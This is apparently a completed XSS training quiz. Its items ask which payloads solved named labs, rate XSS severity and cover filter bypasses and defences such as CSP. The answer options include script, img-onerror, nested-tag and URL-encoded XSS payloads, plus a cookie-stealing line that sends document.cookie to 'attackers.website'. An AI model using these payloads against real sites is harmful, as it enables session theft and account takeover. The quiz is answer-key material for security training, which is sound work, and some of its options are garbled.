

✓ What was the payload for the lab "Let's Do IT!" \*

1 / 1

- "><script>alert(1)</script>
- <script>alert(1)</script>"<
- <script>alert(1)</script>
- ><script>alert(1)</script>



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✓ What was the payload for the lab "Balancing is Important in Life!" \*

1 / 1

- "><script>alert(1)</script>
- </script><script>alert(1)</script>
- "><script>alert(1)<script>
- "><script>alErt(1)</script>



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✓ What was the payload for the lab "XSS is everywhere!" \*

1 / 1

"><script>alert(1)</script>"@gmail.com



<script>alert(1)</script>"@gmail.com

</script><script>alert(1)</script>"@gmail.com

"><script>alert(1)</script>

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✓ What was the payload for the lab "Alternatives are must!" \*

1 / 1

"><script>confirm(1)</script>

"><script>prompt(1)</script>

"><script>alert(1)</script>

Both A and B



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✓ What was the payload for the lab "Developer hates scripts!" \*

1 / 1

<img src=x onerror=alert(1)>

"><img src=x onerror=alert(1)>



<img src=x onerror=prompt(1)>

<img src=x onerror=confirm(1)>

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✓ What was the payload for the lab "Change the Variation!" \*

1 / 1

"><scr<script>ipt>alert(1)</scr</script>

<scr<script>ipt>alert(1)</scr</script>ipt>thentication

"><scr<script>ipt>alert(1)</scr</script>ipt>



<script>ipt>alert(1)</scr</script>

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✓ What was the payload for the lab "Encoding is the key?" \*

1 / 1

%3Cscript%3Ealert%281%29%3C%2F

%3Cscript%3Ealert%281%29%3C%2Fscript%3E



script%3Ealert%281%29%3C%2Fscript

None of the above

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✓ What was the payload for the lab "XSS with File Upload (file name)" \*

1 / 1

<img src=x onerror=alert('XSS')>.png in file name



<img src=x onerror=alert('XSS')>.png in file content

"><img src=x onerror=alert('XSS')>.png in file name

"><img src=x onerror=alert('XSS')>.png in file content

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✓ What was the payload for the lab "XSS with File Upload (File Content)" \*

1 / 1

- SVG file with <script>alert(document.domain)</script> as payload
- PNG file with <script>alert(document.domain)</script> as payload
- HTML file with <script>alert(document.domain)</script>
- CSS file with <script>alert(document.domain)</script>

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✓ What was the payload for the lab "Stored Everywhere!" \*

1 / 1

- "/><script>confirm(1)</script>
- <script>confirm(1)</script>
- "><script>confirm(1)</script>
- </script><script>confirm(1)</script>

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✓ What was the payload for Document Sink for the lab "DOM's are love!" \*

1 / 1

- <script>alert(1)</script>
- <img src=x onerror=alert(1)>
- "><script>alert(1)</script>
- "><img src=x onerror=alert(1)>

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✓ What was the payload for Location Sink for the lab "DOM's are love!" \*

1 / 1

- script:alert(1)
- javascript:alert(1)
- "><img src=x onerror=alert(1)>
- <script>alert(1)</script>

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✓ What was the payload for Execution Sink for the lab "DOM's are love!" \*

1 / 1

- javascript:alert(1)
- alert(1)
- script:alert(1)
- "><img src=x onerror=alert(1)>

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✓ The severity of Reflected XSS is \*

1 / 1

- P5
- P4
- P3

P2

Add individual feedback

✓ The severity of Stored XSS is \*

1 / 1

P2



P5

P3

P1

Add individual feedback

✓ The severity of DOM XSS is \*

1 / 1

P2

P1



P3

P4

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✓ Which if the following could give me an XSS Box \*

1 / 1

alert

confirm

prompt

All of the above



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✓ If a website blocks a simple payload what should i do: \*

1 / 1

Try double encoding the payload

Choose a different payload

Both A and B



None of the Above

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✓ Which of the following is not a type of XSS \*

1 / 1

XSS in Email Fields

XSS on File Upload

XSS in HTTP Headers

None of the above



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✓ Which of the following is not associated with XSS \*

1 / 1

Null Byte



Mouse Events

document.location.href

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✓ To exploit an XSS the following must be present \*

1 / 1

Victim should not have endpoint security solution

HttpOnly flag should not be set in session cookies



Secure flag in web app should not be set

Victim's browser should be enabled with ActiveX Technology

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✓ Which of the following languages are vulnerable to XSS? \*

1 / 1

Java

ASP.Net

Perl

All of the Above



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✓ A web application uses WYSIWYG editor. Which method would NOT block XSS? \*

1 / 1

Looking for payloads like <script> and removing them



Converting tags to HTML

Only allowing tags which are not form of payload

Using HTML filter library

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✓ Injection of scripts \*

1 / 1

Unvalidated redirects and forwards



Injection of commands

Injection parameters

All of the above

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✓ Which of the following languages are associated with cross-site scripting? \*

1 / 1

HTML

JavaScript

SQL

Both A and B



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✓ Which of the following can be caused due to poor input validation? \*

1 / 1

- HTML Injection
- SQLi
- XSS
- All of the above



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✓ What can an attacker perform using XSS \*

1 / 1

- Spread Web Worms
- Control Browser Remotely
- Account takeover
- All of the above



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✓ XSS can be prevented by \*

1 / 1

- Input Validation
- Input Sanitization
- Escaping
- All of the above



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✓ <script>document.write("XSS"); </script> leads to \*

1 / 1

- DOM XSS
- Reflected XSS
- Stored XSS
- All of the above



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✓ XSS can be exploited by tampering parameters in GET request \*

1 / 1

- True
- False
- Depends on the situation
- Can't say



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✓ XSS can be exploited by including JavaScript in POST request \*

1 / 1

- True
- False
- Depends on the situation
- Can't say



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✓ Which of the following is/are true about XSS with Burp-Repeater tool? \*

1 / 1

- This tool checks the cross site scripting vulnerability.
- This tool uses a java script syntax like code to check the vulnerability.
- It is used for authentication of the web applications.

Both A and B



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✓ If keyboard payloads are blocked we can still perform XSS using \*

1 / 1

- alert
- Mouse payloads
- Both A and B
- No we cannot perform



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✓ <script>document.location.href="attackers.website/cookie=">+document.cookie</script> is an example of \*

1 / 1

- XSS website takeover
- XSS cookie deletion
- XSS cookie stealing
- None of the above



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✓ What would you do in a situation where WAF is blocking your XSS payload \*

1 / 1

- XSS cannot be exploited
- Attack WAF and take down the website
- Look for a WAF Bypass
- Both B and C



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✓ Which of the following header ensure that browsers interpret the responses in the way intended. \*

1 / 1

- X-Content-Type
- X-Content-Type-Options
- X-Frame-Options
- None of the above



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✓ XSS Polyglots area \*

1 / 1

Special payloads

Special payloads

payloads that WAF cannot interpret

Combination of 2 or more payloads ✓

All of the above

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✓ A vulnerable web application uses document.getElementById. Which XSS is it vulnerable to? \* 1 / 1

DOM XSS ✓

Reflected XSS

Stored XSS

Both A and B

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✓ Which XSS gets stored in the server? \* 1 / 1

DOM XSS

Stored XSS ✓

Reflected XSS

Both B and C

Add individual feedback

✓ Which one of the following is used as last line of defense to reduce the severity of any XSS vulnerabilities that still occur? 1 / 1

Implementing WAF

Filtering Input on arrival

Encode data on output

Implementing CSP ✓

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✓ If <script> tag is removed from the search box which one of the following should be used? \* 1 / 1

<scr<script>ip>

<img src>

<ScRiPt>

All of the above ✓

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✓ In the lab "Encoding is the key?" which encoding did we use to encode our payload? \* 1 / 1

Base64

URL Encoding ✓

Any of the above

None of the above

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✓ What was the parameter of the Document Sink in the lab "DOM's are love!" \*

1 / 1

name

coin

doge

redir

Add individual feedback

✓ What was the parameter of the Location Sink in the lab "DOM's are love!" \*

1 / 1

name

coin

doge

redir

Add individual feedback

✓ What was the parameter of the Execution Sink in the lab "DOM's are love!" \*

1 / 1

coin

doge

redir

name

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✓ In the lab "Stored Everywhere!" which parameters were vulnerable \*

1 / 1

fname

lnames

email

pwd

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✓ Stored XSS \*

1 / 1

Is stored in database

Is stored in Cache

Is not stored in HTML

Is stored in javascript

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✓ DOM stands for \*

1 / 1

Document object model

Document only model

- Document object mitigation
- Document organised model

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✓ The best way to parse JSON in the browser is \*

1 / 1

- JSON parsing plugin
- JavaScript: eval()
- JavaScript: JSON.parse
- JavaScript: innerHTML()

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✓ Which one of the following helps to mitigate XSS \*

1 / 1

- Content Transport Policy
- Content Security Policy
- Strict Content Policy
- Content Policy Security